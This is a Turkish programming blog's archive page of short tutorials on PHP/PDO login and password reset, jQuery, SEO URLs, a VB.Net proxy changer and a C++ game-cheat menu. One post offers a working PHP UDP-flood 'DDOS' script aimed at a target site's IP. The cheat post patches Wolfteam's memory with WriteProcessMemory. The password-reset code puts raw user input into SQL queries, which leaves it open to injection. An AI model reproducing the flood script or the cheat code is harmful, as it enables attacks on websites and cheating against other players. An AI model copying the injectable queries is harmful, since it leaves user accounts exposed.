Yapımı etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
15 Haziran 2018 Cuma
PDO ile Şifremi Unuttum Yapımı
Posted by
Karolinax,
on
08:21
PDO ile Şifremi Unuttum Yapımı
Genellikle tüm scriptlerde kodlanması gereken bir diğer özellik ise Şifremi Unuttum özelliğidir. Bu özellik olmadan üyeler şifrelerini unuttuğunda ne yapacaklarını bilemezler ve kendilerine yeniden bir hesap kurmak isterler. Buda bir zaman kaybı oluyor. Şifremi unuttum özelliği ile artık üyeleriniz şifrelerini unuttuğunda veya hesabını çaldırdığında şifremi unuttum özelliği ile tekrardan şifresine ulaşabilecektir. Şimdi hiç zaman kaybetmeden işlemimize geçelim.
İlk olarak Veritabanımızda kullandığım tablolar aşağıdaki gibidir kendinize göre düzenleyebilirsiniz. Şifremi unuttum işlemi Token ile çalışacaktır onuda düzenleyebilirsiniz.
Veritabanımız bu şekilde olacaktır. Birsonraki işlemimiz şifremi unuttum sayfası olucaktır.
forgotPassword.php adında bir dosya oluşturalım ve içine;
<?php
try {
$connection = new PDO("mysql:host=localhost;dbname=dersler;charset=utf8", "root", "root");
} catch ( PDOException $e ){
print $e->getMessage();
}
if (isset($_POST["forgotPass"])) {
$email = $_POST["email"];
$data = $connection->query("SELECT id FROM users WHERE email='$email'");
if ($data->rowCount() > 0) {
$str = "0123456789qwertzuioplkjhgfdsayxcvbnm";
$str = str_shuffle($str);
$str = substr($str, 0, 10);
$url = "http://localhost/members/resetPassword.php?token=$str&email=$email";
//mail($email, "Şifre Yenileme", "Yeni şifre için, lütfen tıklayınız : $url", "From: sefayilmaz@visualdersleri.blogspot.com\r\n");
$connection->query("UPDATE users SET token='$str' WHERE email='$email'");
echo "Email adresinizi kontrol ediniz.!";
} else {
echo "Böyle bir mail adresi bulunamıyor.!";
}
}
?>
<html>
<body>
<form action="forgotPassword.php" method="post">
<input type="text" name="email" placeholder="Email"><br>
<input type="submit" name="forgotPass" value="Request Password">
</form>
</body>
</html>
yazalım ve kayıt edip çıkalım. Yukarıda biz tokeni rasgele oluşturduk daha sonrada bu tokeni veritabanına işledik. Ardından bir link yapısı oluşturduk ve bu link yapısını ise üye'ye mail olarak gönderdik ama biz yukarıda mail gönderme işlemini yapmadım onun için kaynak bir kod paylaşacağım aslında kolay birşey gmail'im aşırı güvenlikli olduğu için mail sistemine giriş yapamadığım için yukarıda belirtmedim ama ileriki zamanda mail gönderme işlemini paylaşacağım.
Sıradaki işlemimiz ise şifre yenileme işlemi. Şifre yenileme işlemimiz otomatik olarak rasgele bir şifre belirleniyor daha sonrada bu şifreyi üye'ye verilerek veritabanımıza kayıt oluyor.
resetPassword.php adında bir dosya oluşturarak aşağıdaki kodları yapıştıralım.
<?php
try {
$connection = new PDO("mysql:host=localhost;dbname=dersler;charset=utf8", "root", "root");
} catch ( PDOException $e ){
print $e->getMessage();
}
if (isset($_GET["token"]) && isset($_GET["email"])) {
$email = $_GET["email"];
$token = $_GET["token"];
$data = $connection->query("SELECT id FROM users WHERE email='$email' AND token='$token'");
if ($data->rowCount() > 0) {
$str = "0123456789qwertzuioplkjhgfdsayxcvbnm";
$str = str_shuffle($str);
$str = substr($str, 0, 15);
$password = md5($str);
$connection->query("UPDATE users SET password = '$password', token = '' WHERE email='$email'");
echo "Yeni şifren: $str";
} else {
echo "Lütfen link yapınızı kontrol ediniz!";
}
} else {
header("Location: login.php");
exit();
}
?>
ve işlemimiz burda bitiyor. Mantığını anlarsanız her şey basit olacaktır. Verileri kendinize göre düzenleyebilirsiniz. Dediğim gibi mail sistemini bir sonraki makalemde bahsedeceğim sizde onu şifremi unuttum sistemine entegre edebilirsiniz.
İyi günler.
8 Haziran 2018 Cuma
PDO Fonksiyon Kullanarak Giriş Sistemi Yapma
Posted by
Karolinax,
on
02:44
PDO Fonksiyon Kullanarak Giriş Sistemi Yapma
PDO ile Giriş sistemi aslında oldukça basit bir işlem. Sadece 50-60 satır kod yazarak giriş sistemi yapabilirsiniz. Ancak bugün göstereceğim işlemle birlikte bu 50-60 satır kodu en az seviyeye çekmeye çalıştım. Bugün Fonksiyon kullanarak nasıl Giriş Sistemi yapılır ondan bahsedicem.
İşlemimize geçmeden önce kullanmış olduğum veritabanı bilgilerini size paylaşıyım siz kendiniz ona göre düzeltirsiniz.
CREATE TABLE `users` (
`user_id` INT( 11 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`name` VARCHAR( 50 ) NOT NULL ,
`email` VARCHAR( 100 ) NOT NULL ,
`username` VARCHAR( 50 ) NOT NULL ,
`password` VARCHAR( 250 ) NOT NULL
) ENGINE = MYISAM ;
Bunları siz kendi üye tablonuza göre düzenlersiniz. Şimdi ise fonksiyon kodlarımıza bi bakalım.
class DemoLib
{
public function Login($username, $password)
{
try {
$db = DB();
$query = $db->prepare("SELECT user_id FROM users WHERE (username=:username OR email=:username) AND password=:password");
$query->bindParam("username", $username, PDO::PARAM_STR);
$enc_password = hash('sha256', $password);
$query->bindParam("password", $enc_password, PDO::PARAM_STR);
$query->execute();
if ($query->rowCount() > 0) {
$result = $query->fetch(PDO::FETCH_OBJ);
return $result->user_id;
} else {
return false;
}
} catch (PDOException $e) {
exit($e->getMessage());
}
}
}
Fonksiyon kodlarımız bunlardır. Şifremizi sha256 ile şifrelemiş bulunmaktayız siz kendiniz isterseniz bir önceki yazıma bakarak şifreleme yöntemini kendinize göre düzenlersiniz.
Bu işlemi yaptıktan sonra unutmamamız gereken bir işlem daha var ve oda Veritabanı Bağlantımız.
Hemen o işlemide halledelim.
define('HOST', 'localhost');
define('USER', 'root');
define('PASSWORD', 'root');
define('DATABASE', 'dersler');
function DB()
{
try {
$db = new PDO('mysql:host='.HOST.';dbname='.DATABASE.'', USER, PASSWORD);
return $db;
} catch (PDOException $e) {
return "Error!: " . $e->getMessage();
die();
}
}
Benim klasik kullandığım Config sistemi sizede tavsiye ederim.
Bir sonraki işlemimiz ve son işlemimiz olan Giriş sayfamız. Giriş sayfamızın HTML kodları;
<div class="row">
<div class="col-md-5 well">
<h4>Function ile Giriş Sistemi</h4>
<?php
if ($login_error_message != "") {
echo '<div class="alert alert-danger"><strong>Error: </strong> ' . $login_error_message . '</div>';
}
echo $login_success_message;
?>
<form action="index.php" method="post">
<div class="form-group">
<label for="">Kullanıcı Adı</label><br>
<input type="text" name="username" class="form-control"/>
</div>
<div class="form-group">
<label for="">Şifre</label><br>
<input type="password" name="password" class="form-control"/>
</div>
<div class="form-group"><br>
<input type="submit" name="btnLogin" class="btn btn-primary" value="Giriş Yap"/>
</div>
</form>
</div>
</div>
Bu şekilde olucaktır. PHP kodlarımızı html kodlarımızın hemen üstünde olucak şekilde yapıştırın. PHP kodlarımız ise;
include "config.php";
include "functions.php";
session_start();
$app = new DemoLib();
$login_error_message = '';
$register_error_message = '';
$login_success_message = '';
// check Login request
if (!empty($_POST['btnLogin'])) {
$username = trim($_POST['username']);
$password = trim($_POST['password']);
if ($username == "") {
$login_error_message = 'Kullanıcı adını boş bırakmayın.';
} else if ($password == "") {
$login_error_message = 'Şifreyi boş bırakmayın.';
} else {
$user_id = $app->Login($username, $password);
if($user_id > 0)
{
$_SESSION['user_id'] = $user_id;
$login_success_message = 'Başarılı';
}
else
{
$login_error_message = 'HATA!';
}
}
}
Şeklinde olacaktır.
İşlemimiz bukadardır arkadaşlar anlamadığınız yer olursa yorumlar kısmında belirtirseniz elimden geldiğince yardımcı olmaya çalışacağım. Kendinize iyi bakın.
İyi Günler.
20 Nisan 2018 Cuma
jQuery ile Geri Sayım Sayacı Yapımı (5'den geriye sayım)
Posted by
Karolinax,
on
10:13
jQuery ile Geri Sayım Sayacı Yapımı (5'den geriye sayım)
jQuery ile geri sayım yapımının amacı genelde reklam konulan sitelerde veya üyenin sitede biraz daha online kalması için linki göstermeyip belli bir saniyeden sonra linki gösteren bir işlem türüdür.
Üyeler linki görebilmek için 5 saniye bekliyor ve 5 saniyeden sonrada linki bize gösteriyor. Bunun amacı üstte belirttiğim gibi üyelerin sitede biraz daha kalmasıdır.
Kodlara geçelim. Burda direk kodları vereceğim fazla uzatmamıza gerek yok kodlarda siz kendiniz düzenleme yapabilirsiniz.
Kodlarımız;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>jQuery ile Geri Sayım Yapımı</title>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script type="text/javascript">
$(function(){
var saniye = 5;
var sayacYeri = $("div.sayac span");
$.sayimiBaslat = function(){
if(saniye > 1){
saniye--;
sayacYeri.text(saniye);
} else {
$("div.sayac").text("Sefa Yilmaz jQuery Geri Sayım Sayacı");
}
}
sayacYeri.text(saniye);
setInterval("$.sayimiBaslat()", 1000);
});
</script>
<style type="text/css">
div.sayac {
color : red;
padding: 15px 20px;
}
div.sayac span {
font-weight: bold;
}
</style>
</head>
<body>
<div class="sayac"><span></span> Saniye sonra indirebilirsiniz </div>
</body>
</html>
Canlı önizleme : Tıkla
İyi günler.
18 Nisan 2018 Çarşamba
PHP | PDO ile Konu Görüntüleme (Hit Belirleme)
Posted by
Karolinax,
on
11:36
PHP | PDO ile Konu Görüntüleme (Hit Belirleme)
Bildiğiniz üzre neredeyse tüm blog, film, dizi scriptlerinde olmazsa olmazlarımızdan olan konunun ne kadar görüntüleme aldığını belirtmek hem sitenin aktifliğini hemde o bölümün ne kadar popüler olduğunu görmüş oluruz.
Bu yazımda ise PDO ile konuya ne kadar girildiğini veritabanına kayıt ettiricez ve bunu konu içeriğinde göstericez.
İlk olarak veritabanımıza bir bağlantı yapalım. Herzaman olduğu gibi bu yazımda da Film scriptini baz alarak kodlarımı ona göre yapacağım siz ne yapıyorsanız ona göre düzeltebilirsiniz.
config.php adında bir dosya oluşturarak aşağıdaki kodlarımızı içine yazalım.
try {
$db = new PDO("mysql:host=localhost;dbname=filmscript;charset=utf8", "root", "root");
} catch ( PDOException $e ){
print $e->getMessage();
}
Film tablomuza film_hit adında bir tablo ekleyelim.
Film içeriğini ben film.php adında bir dosya'ya çekiyorum siz konunuzu nereye çekiyorsanız oraya girin.
Config dosyanızı çağırdığınız yerin hemen altına;
$id = 1; // Film id'yi 1 olarak varsayıyoruz siz $id'yi GET ile çektiğiniz için 1 yerine GET kodunuzu yazabilirsiniz.
$hit = $db->prepare("UPDATE film SET film_hit= film_hit +1 WHERE film_id=?");
$hit->execute(array($id));
kodunu yazarak film içeriğine girerek her girişinde film_hit 1 artıcak şeklinde olucaktır. Film_hit ne kadar ise onun üstüne 1 ekliyor. Bu mantık ile her F5 yapıldığında filmin hit'i 1 artıcaktır. Bunu engellemek ip ile olabilir üye 5 defa arka arkaya F5 yaptığında anasayfaya yönlendirme yapabilirsiniz.
Daha sonra film içeriğimizde film hitimizi belirtmek için yazacağımız kod ise;
$sorgu = $db->prepare("SELECT * FROM film Where film_id=:id");
$sorgu->execute(array(
"id" => $id
));
$islem = $sorgu->fetch(PDO::FETCH_ASSOC);
echo $islem["film_hit"];
yazarak film hitimizi film içeriğimizde belirtmiş oluyoruz.
Sorularınız, hatalar ve yapamadığınız işlemler için aşağıdaki linklerden ulaşabilirsiniz. Eğer ulaşamazsanız aşağıdaki yorumlar kısmında belirtirseniz yardımcı olacağım.
İyi günler.
16 Nisan 2018 Pazartesi
PHP | PDO ile Konu İçerik Görüntüleme
Posted by
Karolinax,
on
12:13
PHP | PDO ile Konu İçerik Görüntüleme
Merhaba arkadaşlar PDO ile anasayfaya listelediğiniz konularınızın veya filmlerinizin içeriğini nasıl görüntüleyebilirsiniz onu göstereceğim.
Biraz bu konudan bahsetmek istiyorum fazla anlamayan olabilir. Konu içeriği dediğimiz sizin bir script yazmanız ve scriptinizde anasayfada konularınızı belirttiniz ancak konunun içeriğini nasıl görüntüleyebilirim diyorsanız makalemizi okumaya devam edin.
İlk olarak konu içeriğiniz göstereceğiniz bir link yapısı belirtin. Örnek olarak ben bu makalemde film scriptini baz alarak kodlarımı ona göre yapacağım.
Şimdi Film scriptimizde ilk olarak anasayfaya filmlerimizi çekmemiz gerekiyor. Ben filmleri çektiğimizi baz alaraktan bu bölümleri geçiyorum.
Link yapımız film.php?id=1 olarak kullanıcaz yani film.php'de film içeriğimizi göstereceğiz.
Link yapısını oluşturmak;
<a href='film.php?id=".$row["film_id"]."'>Film İçeriğini Görüntüle</a>
Link yapımız kısaca böyle olucaktır. Kendinize göre değiştirebilirsiniz.
Film.php dosyamıza girerek üst tarafa;
$id = $_GET["id"];
$sorgu = $db->prepare("SELECT * FROM film Where film_id=:id");
$sorgu->execute(array(
"id" => $id
));
$islem = $sorgu->fetch(PDO::FETCH_ASSOC);
if($islem < 1){
header("location:index.php");
}
yazalım ve devam edelim. Üstteki kodumuzda ilk olarak id değerini $id'ye aktardık yani biz php dosyasına ?id=1 olarak girmiştikya php dosyasıda id'den sonraki değeri $id'ye aktarıyor ve böylece film.php dosyasına hangi id'li filmi çekeceğini belirtmiş oluyoruz ve eğer bu film tablosunda xx numaralı id'li bir film yok ise index.php'ye yönlendir demiş oluyoruz.
Şimdi ise sizin belirteceğiniz yerlere filmin içeriğini nasıl çekeceğiz oraya geçelim.
Bu bölüm kolay sadece echo kullanarak verilerimizi çekmiş olucaz.
<?php echo $islem["film_yonetmen"]; ?>
Üstteki kodumuz ile tablodan verimizi çekmiş oluyoruz. Ben film tablosundan belirttiğimiz filmin yönetmenini çekmiş oldum. Siz bunu değiştirebilirsiniz örnek blog scripti yazanlar için kullanılması zorunludur HTML ile kodluyorsanız zorunda değilsinizdir :) .
Bunun daha detaylı anlatımını video çekerek anlatacağım burda anlamamış olabilirsiniz biraz karışık bir işlem. Sorularınız, hata aldığınız veya anlamadığınız yerler var ise aşağıdaki linklerden bana ulaşarak yardım isteyebilirsiniz. Eğer cevap veremezsem konunun altına yorum olarak yazarsanız kesin olarak dönüş yapacağım.
İyi günler.
7 Nisan 2018 Cumartesi
C++ ile D3D Menu Yapımı [Hazır Proje ve .dll]
Posted by
Karolinax,
on
10:10
C++ ile D3D Menu
Merhaba arkadaşlar bugün C++ ile nasıl D3D Menu yapılır ondan bahsedicem.
İlk olarak D3D nedir ve ne işe yarar ondan bahsedicem.
D3D Menu Nedir?
D3D Menu genelde oyunlarda hile yapımında kullanılır. Oyunun arka planında çalışır ve oyun sırasında sizi rahatsız etmeden çalışır.
Şimdi D3D Menu nasıl yapılır ona geçelim.
Kaynak kodlar biraz fazla olduğu için txt dosyasına koyup link olarak sizlere vereceğim.
D3D'de Menu'deki yazıları değiştirme;
Menu.cpp ile yapılacaktır. Zaten siz projeyi görünce anlayacaksınız neyin nerden yapılacağını.
Menu'ye ek hile eklemek için veya silmek için ise;
Bunu ise Menu.h'den yapılacaktır.
Hile aktif edildiğinde ise;
Örnek Kod;
if(H4CK.Hileler.rapidfire == 1)
{
DWORD Ptr = Menu.CSH + 0x11CF5B;
DWORD Value = 1574503796;
WriteProcessMemory(Process, (LPVOID)Ptr, &Value, 4,NULL);
}
Yukarıda Rapid Fire == 1 ise yani Rapid Fire aktif ise aşağıdaki kodu çalıştır diyoruz ve aşağıdaki kod ise bildiğiniz WriteProccessMemory ve DWORD. Yukarıdaki hile ise Wolfteam adlı oyunda yapılan bir hiledir. İsterseniz Wolfteamda hile yapabilirsiniz ama siz ben başka oyunda hile yapmak istiyorum diyorsanız Yukarıdaki
DWORD Ptr = Menu.CSH + 0x11CF5B;
Kodunda Menu.CSH ve + işaretini silerek yapabilirsiniz. Cheat Engine'den bulduğunuz pointer ve value'yi ise Pointeri : 0x11CF5B burdan Value'yi ise DWORD Value = 1574503796'den değiştirebilirsiniz.
Menu tasarımını ise Menu.h'den yapabilirsiniz.
ve projeyi kaydetmeye geldi. Şimdi size rar dosyasında vermiş olduğum İnclude ve Lib dosyalarını projenize eklemeniz gerekicek. Onlarıda aşağıdaki sırayı izleyerek yapabilirsiniz.
Kayıt edip çıkın. Şimdi ise projenizi deneyebilirsiniz. Proje Görünümü;
Böyle olacaktır. Siz tasarımını falan kendiniz değiştirebilirsiniz.
Rar dosyasında hem Projeyi hemde projenizi deneyebileceğiniz D3D Test ve DLL İnjector ekleyeceğim.
Aşağıdaki linkde Projede kullanılan kodlar, hazır proje ve projeyi deneyebileceğiniz D3D Test yanındada DLL İnjector bulunmaktadır.
Rar Şifresi : visualdersleri.blogspot.com
Eğer projede bir sorun veya kafanıza takılan bir sorun olursa yorumlarda belirtiniz.
6 Nisan 2018 Cuma
VB.Net ile Proxy Değiştirici Yapımı | Proxy Changer
Posted by
Karolinax,
on
10:02
Selam arkadaşlar bugün sizlere Proxy değiştirici yapımını göstereceğim.
İlk olarak sizlere proxy nedir ne işe yarar ondan kısa bahsedeceğim.
Proxy nedir?
Proxyinin tam olarak kelime anlamı yani sözlük karşılığı elçi veya vekil demektir. Fakat vekil olarak kullanmak daha doğru olacaktır. Elçi kelimesi proxyinin tam olarak anlamını karşılamaz. Proxy sizin vekil ipiniz ve ağınızdır. Yani siz herhangi bir yere bağlanırken, herhangi bir siteye girerken o site sizin esas ipinize ulaşamaz. Onun yerine sizin “vekilinizi” yani proxyinizi görür. Tabi proxyinin bazı seviyeleri vardır. Bu seviyelere daha sonra değineceğiz. Kısacası proxy sizin vekil ipiniz ve sunucunuzdur.Proxy ne işe yarar?
Aslında yazımızın başından beri bundan az çok bahsettik fakat bu başlık altında biraz daha derinlemesine bahsedeceğiz. Dediğimiz gibi proxy ipinizi gizler. Bunu da ara sunucu (gateway) sistemiyle yapar. Proxy sayesinde internette anonim olursunuz. Yani görülmezsiniz. Her siteye girip çıkabilirsiniz ama onlar sizin girdiğinizi bilmez onun yerine proxyinin sunucusuna yönlendirilirler. Proxy sunucusu da nerede bulunuyorsa oranın ipisini alırlar. Bu sayede internette iz bırakmazsınız ve her türlü sansürden kendinizi korumuş olursunuz. Fakat mevzu suç olursa birçok proxy sunucusu log tutar. O yüzden proxy sunucuları ile suç işlemeyi düşünmeyin. En fazla size ulaşma süreleri uzar. Ancak şunu da belirtmek isterim bazı proxy sunucuları uluslararası sularda bulanmaktadır bu yüzden hiçbir devlete bilgi vermeyebilirler.Şimdi proxy değiştirici yapımına geçelim.
İlk olarak bir form oluşturun. Sonra forma 5 adet label 3 adet textbox 2 adet button 1 adet webbrowser ekleyelim ve yerlerinide aşağıdaki resimdeki gibi düzenleyin.
Şimdi ise hangisine ne yazılacak onu göstereceğim.
Label 1 : İP
Label 2 : Port
Label 3 : Geçerli Proxy
Label 4 : 0.0.0.0.0:21
Label 5 : URL
Button 1 : Proxy Kullan
Button 2 : Git
Daha sonra kodlarımızı yazalım.
Public Class Form1 bu kodun üstüne;
Imports System.Runtime.InteropServicesyazalım.
Public Class Form1 yazısının altınada;
<Runtime.InteropServices.DllImport("wininet.dll", SetLastError:=True)> _yazalım.
Private Shared Function InternetSetOption(ByVal hInternet As IntPtr, ByVal dwOption As Integer, ByVal lpBuffer As IntPtr, ByVal lpdwBufferLength As Integer) As Boolean
End Function
Public Structure Struct_INTERNET_PROXY_INFO
Public dwAccessType As Integer
Public proxy As IntPtr
Public proxyBypass As IntPtr
End Structure
Private Sub UseProxy(ByVal strProxy As String)
Const INTERNET_OPTION_PROXY As Integer = 38
Const INTERNET_OPEN_TYPE_PROXY As Integer = 3
Dim struct_IPI As Struct_INTERNET_PROXY_INFO
struct_IPI.dwAccessType = INTERNET_OPEN_TYPE_PROXY
struct_IPI.proxy = Marshal.StringToHGlobalAnsi(strProxy)
struct_IPI.proxyBypass = Marshal.StringToHGlobalAnsi("local")
Dim intptrStruct As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(struct_IPI))
Marshal.StructureToPtr(struct_IPI, intptrStruct, True)
Dim iReturn As Boolean = InternetSetOption(IntPtr.Zero, INTERNET_OPTION_PROXY, intptrStruct, System.Runtime.InteropServices.Marshal.SizeOf(struct_IPI))
End Sub
Button 1'e ise ;
Label4.Text = (TextBox1.Text & ":" & TextBox2.Text)ve son olarak Button 2'ye aşağıdaki kodları yazalım.
UseProxy(Label4.Text)Daha sonra proxy değiştiricimizi kontrol edelim.
WebBrowser1.Navigate(TextBox3.Text)
12.03.2018 Çalışan Proxy'ler;
198.199.69.46:8080
47.206.51.67:8080
216.177.233.181:8080
198.199.69.46:8080
144.76.176.72:8080
185.82.212.95:8080
94.16.123.176:8080
185.93.3.123:8080
Daha fazlas proxy için : https://free-proxy-list.net/ Sitesine bakabilirsiniz.
Kaynak Proje İçin Tıklayın
PHP ile DDOS Yapımı [MB Boyutunda]
Posted by
Karolinax,
on
08:45
DDOS Nedir?
Bildiğiniz üzre DDOS saldırıları belirli bir siteye belirli veya belirsiz miktarda sitenin kaldıramayacağı bir paket gönderilir. Kısaca sitenin çökmesine kasmasına veya yavaşlamasına yol açar. DDOS'u eğer kendi sitenize atmaya kalkışırsanız Google bunu kötü bir bot olarak algılıyacaktır ve sitenizin indexlenmesini zorlaştıracaktır.
PHP ile DDOS Yapımı
Php ile ddos yapımı bir html form işlemi ve php post işlemi ile gerçekleştiricez.
İlk olarak form kodlarını ddos2.php adında bir dosya açarak içine yazalım.
<form name="ddossaldiri" method="POST" action="ddos.php">
Host: <input type="text" name="host"><br/>
Port: <input type="text" name="port"><br/>
Zaman: <input type="text" name="time"><br/>
Exec Time : <input type="text" name="exec_time"><br/>
<input type="submit" name="button" value="Gonder">
yazıyoruz ve kayıt edip çıkıyoruz. Daha sonra ise bu form işlemi için birde phpde post işlemi gerekicek ddos.php adında bir php dosyası açarak içine aşağıdaki kodları yazalım
<?php
$packets = 0;
$host = $_POST['host'];
$port = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['exec_time'];
$time = time();
print "$host hostunun $port portuna <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out = "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Saldırı ".time('h:i:s')."itibari ile tamamlandı <br />";
echo "Toplam".$packets."adet".round(($packets*65)/1024,2). "mB boyutunda paket gönderildi.<br />";
echo "Saniyede ortalama". round($packets/$exec_time, 2) . "paket gönderildi.<br />";
?>
kayıt edip çıktıktan sonra ddos2.php'ye girelim ve test edelim.
ddos2.php'nin görünümü üst taraftaki gibi olacaktır.
Host yazılan yere sitenin ip adresini yazalım.
Port yazılan yere standart 80 yazılır.
Zaman'a ise ne kadar süre paket gönderilecekse saniye'ye göre yazalım.
Exec Time ne işe yarıyor onu tam bende bilmiyorum oda zamanın türü gibi bişey.
yazdıktan sonra Gönder buttonuna tıklayarak ip adresine belirttiğiniz sürede mB boyutunda paket gönderilir.
Gönder buttonuna bastığınızda ise oluşacak görüntü yukarıdaki gibidir.
Bu DDOS mB boyutunda gönderiyor yani sürekli siteye bot göndermiyor belirli miktarda bir paket gönderiyor ve sitenin azda olsa yavaşlamasını sağlıyor.
Yukarıdaki kodları ise yabancı bir kitap ismini vermiyim reklam yapmış olurum o kitaptan aldım kendime göre değiştirdim ve paylaştım.
İyi günler.
4 Nisan 2018 Çarşamba
PHP | Htaccess ile Seo URL Yapımı
Posted by
Karolinax,
on
12:33
İyi günler arkadaşlar bugün sizlere PHP ve Htaccess ile nasıl Seo URL yapılır ondan bahsedicem.
İlk olarak Seo URL nedir ondan biraz bahsediyim. Seo URL arama motorunda üst sıraya çıkmanızı ve link yapınızın düzenli olmasını sağlar. Bu aralarda Seo kavramı gittikçe büyüyen bir sektör haline gelmiş durumda. Neredeyse gördüğünüz tüm sitelerdeki link yapısı Seo uyumlu oluyor. Şimdi size kendi web siteniz için Seo URL nasıl yapılır onu göstereceğim.
Öncelikle sizin ne bir site yaptığınız önemli örnek olarak ben bu yazımda film scripti yazıyormuş gibi bir seo url yapıcam.
Şimdi arkadaşlar biz film scriptimizde filmin içeriğini görmek için film.php?id=15 gibi link yapısı kullanıyoruz. Bu yapıyı şimdi /film/kardesim-benim-2/2 olarak değiştiricez.
Normal bir php dosyasında istediğimiz bir veriyi İD ile çekeriz. Şimdi ise site urlsinde id kaça eşitse onun verisini çek diyeceğiz. Bunu sağlayan kod ise;
$sorgu = $db->prepare("SELECT * FROM film Where id=:id");
$sorgu->execute(array(
"id" => $id
));
Şimdi eğer bu verdiğim kod seo ile ilgili bir çalışma yapılmamış ise link yapısı film.php?id=15 gibi bir url ile siteye giriş yaptığınızda sitede film veritabanından 15. id'li filmin verilerini çekecektir.
Seo işlemine geçelim şimdi.
Seo işlemimiz sadece 2-3 dosya ile seo işlemimizi bitireceğiz.
Link yapısını oluşturacak fonskiyon kodları;
function seo($s) {
$tr = array('ş','Ş','ı','I','İ','ğ','Ğ','ü','Ü','ö','Ö','Ç','ç','(',')','/',':',',');
$eng = array('s','s','i','i','i','g','g','u','u','o','o','c','c','','','-','-','');
$s = str_replace($tr,$eng,$s);
$s = strtolower($s);
$s = preg_replace('/&amp;amp;amp;amp;amp;amp;amp;amp;.+?;/', '', $s);
$s = preg_replace('/\s+/', '-', $s);
$s = preg_replace('|-+|', '-', $s);
$s = preg_replace('/#/', '', $s);
$s = str_replace('.', '', $s);
$s = trim($s, '-');
return $s;
}
Bu fonksiyon Türkçe karakterde kullanılan yazıları normal karakter haline çeviriyor. Örnek vermek gerekirse;
$baslik = "Sefa Yılmaz İle PHP Seo";
echo seo($baslik);
Çıktısı ise şöyle;
sefa-yilmaz-ile-php-seo
İstediğimiz başarıyla olmuş bulunmakta. Şimdi ise bunu nasıl link yapısında kullanabiliriz ona geçelim.
Sıradaki işlem .htaccess yönlendirmesi.
RewriteEngine on
Yukarıda vermiş olduğum kod yönlendirme işlemlerini aktif hale getirir.
RewriteRule ^film/([0-9a-zA-Z-_]+)/([0-9]+)$ film.php?sef=$1&id=$2 [L,QSA]
Yukarıdaki kod ise yönlendirme kodu.
film.php = içerikleri id'ye göre aldığınız dosya.
sef = seo link yapımızın geldiği ara değişken.
id = film.php de veri çektiğimiz id parametresi.
id = film.php de veri çektiğimiz id parametresi.
([0-9a-zA-Z-_]+) = seo linkimiz bu kısma yerleşecek a-z arası 0-9 arası ve – karakterleri (sef).
([0-9]+) = film.php de kullandığımız id değeri buraya gelicek.
([0-9]+) = film.php de kullandığımız id değeri buraya gelicek.
[L] = url uyuştuğu an keser bunun anlamı şu örneğin siteurl.com/merhaba burada merhaba bizim url miz fakat [L] koymaz isek merhabaads gibi bir url yide aynı sayfaya yönlendirecek bazen hatalar olabilir o yüzden [L ] koyuoruz uyuştuğu an kesiyor devam ettirmiyor
[QSA] = Bu GET ile gösterilen verilerin aktif olmasını sağlar yani örnekte sef=$1&id=$2
Bazı configlerde koymaya gerek yokken bazı web server configlerinde koymayı gerektir biz öncelik olarak ekleyelim
Bazı configlerde koymaya gerek yokken bazı web server configlerinde koymayı gerektir biz öncelik olarak ekleyelim
Şimdi ise linklerimizi yeniden oluşturmamız gerekiyor. Nedeni ise biz artık film.php?id=1 diye girmeyeceğiz Seo URL'mizi kullanarak giriş yapacağız.
Kodumuz ise;
<a href='film/".seo($row["film_baslik"])."/".$row["film_id"]."'></a>
olacak şekilde değiştirelim.
Şimdi ise bazı özel yerler oluyor örnek olarak iletişim.php veya hakkimda.php gibi yerlere nasıl iletişim.php yerine iletisim veya hakkimda.php yerine hakkimda olarak giriş yapmayı göstereceğim.
.htaccess dosyamıza girelim ve daha sonra üstte .htaccess'e eklediğiniz dosyanın altına
RewriteRule ^iletisim/? iletisim.php [NC,L]
RewriteRule ^hakkimda/? hakkimda.php [NC,L]
yazalım ve kayıt edelim çıkalım.
Ve işlemimiz bukadar.
Bu seo'yu hafife almayın sitenizi Googlede üst sıralara kadar taşıyabilir. Seo önemlidir her sitede olması gerekir.
Kaydol:
Kayıtlar
(
Atom
)